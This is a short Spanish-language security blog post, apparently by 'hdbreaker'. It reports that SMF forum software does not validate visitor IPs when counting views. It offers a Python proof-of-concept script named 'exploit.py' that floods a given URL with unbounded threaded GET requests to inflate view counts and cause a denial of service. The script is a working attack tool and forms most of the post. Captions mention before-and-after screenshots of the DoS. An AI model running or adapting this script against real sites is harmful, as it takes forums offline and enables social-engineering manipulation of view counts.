SMF DoS && Enhancer of Views

by hdbreaker

En esta entrada les quiero compartir una curiosidad que he descubierto ya hace algún tiempo en este famoso gestor de contenidos que muchos foros utilizan.

El mismo en todas sus versiones no valida la IP del usuario al momento de visitar su contenido, pudiendo de esta forma lograr un incremento radical en la cantidad de visitas que puede tener una publicación, pudiendo utilizar la misma para ingeniería social o ataques de Denegación de Servicios.

PoC:

 

import requests
import threading
import sys

class Main():
  def call(self,i,url):
    print i
    requests.get(url)


  def D0S(self,url):
      counter = 0
      while True:
        counter = counter + 1
        try:
            t = threading.Thread(target=self.call,args=(counter,url))
            t.start()
        except:
            t.join()

if(len(sys.argv)>=2):
    init = Main()
    init.D0S(sys.argv[1])
else:
    print "Usage: python exploit.py [URL]"

Imagen del contador de visitas antes de la prueba:

Luego de Explotar:

Al poco tiempo podemos apreciar el DoS:

Share this: